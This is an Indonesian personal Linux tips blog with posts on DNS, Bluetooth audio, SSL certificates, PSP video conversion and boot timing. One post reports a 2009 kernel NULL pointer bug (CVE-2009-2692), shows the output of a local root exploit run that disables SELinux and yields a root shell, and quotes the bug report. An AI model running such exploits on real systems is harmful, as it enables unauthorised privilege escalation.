Sunday, December 06, 2009

OpenDNS atau Google public DNS

Mau pake OpenDNS atau Google public DNS? Pake dua-duanya aja, ini isi resolv.conf di laptop gw:

$ cat /etc/resolv.conf
options rotate
nameserver 208.67.222.222
nameserver 8.8.8.8

options rotate digunakan untuk menggunakan dns secara bergantian.

biar isi resolv.conf ngga berubah karena network manager atau pppd, set immutable:

$ chattr +i /etc/resolv.conf


Sunday, November 15, 2009

Menggunakan headset bluetooth pada Karmic Koala

Ubuntu 9.10 atau Karmic Koala baru saja di-rilis dan memiliki dukungan yang lebih baik untuk bluetooth. Untuk menggunakan headset bluetooth sekarang sangat mudah, tinggal pairing device, ubah profil A2DP, lalu pilih Sound Output. Berikut langkah-langkahnya:

1. Pairing

Klik pada applet bluetooth -> Setup new device...

nyalakan headset pada mode pairing / discoverable. Klik forward kemudian pilih headset anda untuk pairing. Jika ditanya masukkan password: 1234 atau 0000

2. Ubah profil A2DP

Kemudian klik tombol kanan pada Sound applet -> Sound Preferences. Lalu ke tab Hardware.



Pilih headset anda (misal Motorola HT820) kemudian pada profile pilih High Fidelity Playback (A2DP). Langkah ini cukup anda lakukan satu kali.

3. Pilih Sound Output

Langkah terakhir adalah memilih sound output ke headset anda pada tab Output.


Jalankan aplikasi rhythmbox atau totem. Sekarang anda dapat mendengarkan musik atau film melalui headset bluetooth.

Catatan:
Jika headset anda support AVRCP (tombol Next - Prev - Play) tambahkan uinput ke file /etc/modules kemudian reboot. Seharusnya modul ini otomatis diload oleh ubuntu.

Thursday, August 20, 2009

Bug kernel linux (2009)

Ditemukan bug di kernel linux yang cukup serius, penyebabnya NULL pointer. Kalau di-exploit bisa sampai dapet root...  osram........  The system would do anything for you..

Hampir semua kernel dari versi 2.4 sampai 2.6 terkena bug ini:
- Linux 2.4, from 2.4.4 up to and including 2.4.37.4
- Linux 2.6, from 2.6.0 up to and including 2.6.30.4

exploit testing:

$ ./script
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xffffffff80bb4348
[+] Resolved selinux_enabled to 0xffffffff80bb4344
[+] Resolved security_ops to 0xffffffff80bb2ae0
[+] Resolved default_security_ops to 0xffffffff808e55a0
[+] Resolved sel_read_enforce to 0xffffffff803e16e0
[+] Resolved audit_enabled to 0xffffffff80ae2ec4
[+] Resolved commit_creds to 0xffffffff8026d3f0
[+] Resolved prepare_kernel_cred to 0xffffffff8026d040
[+] got ring0!
[+] detected 2.6 style 4k stacks
sh: mplayer: not found
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
#
# id
uid=0(root) gid=0(root)
#


Original bug report:

Linux NULL pointer dereference due to incorrect proto_ops initializations
-------------------------------------------------------------------------

In the Linux kernel, each socket has an associated struct of operations
called proto_ops which contain pointers to functions implementing various
features, such as accept, bind, shutdown, and so on.

If an operation on a particular socket is unimplemented, they are expected
to point the associated function pointer to predefined stubs, for example if
the "accept" operation is undefined it would point to sock_no_accept(). However,
we have found that this is not always the case and some of these pointers are
left uninitialized.

-- -- -- --
http://www.cr0.org/misc/CVE-2009-2692.txt

Wednesday, March 11, 2009

Cara buat SSL certificate


$ openssl req -new -newkey rsa:1024 -days 365 -nodes -x509 -keyout www.example.com.pem -out www.example.com.pem

Generating a 1024 bit RSA private key
............++++++
...........++++++
writing new private key to 'www.example.com.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [ID]:
State or Province Name (full name) [Indonesia]:
Locality Name (eg, city) [Jakarta]:
Organization Name (eg, company) [Nama Perusahaan, PT.]:
Organizational Unit Name (eg, section) []:2009 (isi taun sekarang)
Common Name (eg, your name or your server's hostname) []:www.namaserverlo.com
Email Address []:email@
namaserverlo.com

Terus tinggal masukin di httpd.conf:
SSLEngine On
SSLCertificateFile www.example.com.pem

Referensi: http://technocage.com/~caskey/openssl/

Sunday, February 01, 2009

Cara konversi movie untuk PSP

Sebelum bisa jalanin movie di PSP.. harus dikonversi dulu. Ini batasannya:
  • Video Codec: xvid, divx, H.264
  • Audio codec: FAAC
  • File Format: mp4
  • Bit rate harus <= 768 kbps
  • Resolution: 320x240, 640x480
Cara konversinya bisa menggunakan tool ffmpeg. Kalau mau hasilnya bagus.. command line-nya panjang banget. Biar gampang pake script ini aja:

################################# script start: konvertpsp
INPUT="$*"

# harus .mp4
OUTPUT="out.mp4"

# 2-31
QUALITY=21
#################################

if [ "$INPUT" = "" ]; then
echo "Please specify input file"
exit
fi

opt1=" -vcodec libx264 -coder 1 -flags +loop -cmp +chroma -partitions +parti4x4+partp8x8+partb8x8 -me_method hex -subq 6 -me_range 16 -g 250 -keyint_min 25 -sc_threshold 40 -i_qfactor 0.71 -b_strategy 1 -level 21 -refs 2"

opt2="-cqp $QUALITY"

opt3="-ab 64k"

opt4="-s qvga"

echo -- -- ffmpeg -i "$INPUT" $opt1 $opt2 $opt3 $opt4 -threads 3 $OUTPUT
ffmpeg -i "$INPUT" $opt1 $opt2 $opt3 $opt4 -threads 3 $OUTPUT

########### script end

Cara jalanin:
./konvertpsp namafile.avi

Outputnya: out.mp4

Referensi: http://rob.opendot.cl/index.php/useful-stuff/ffmpeg-x264-encoding-guide/

Tuesday, December 02, 2008

How fast your Linux boot?

Currently it takes > 35 seconds too boot, see this chart:


See if I can improve this.. in my next post.

You can also make this kind of chart by installing:
sudo apt-get install bootchart

For reference:
http://aldeby.org/blog/index.php/speed-up-your-ubuntu-linux-boot.html

Monday, November 17, 2008

JKSE 2y

just a note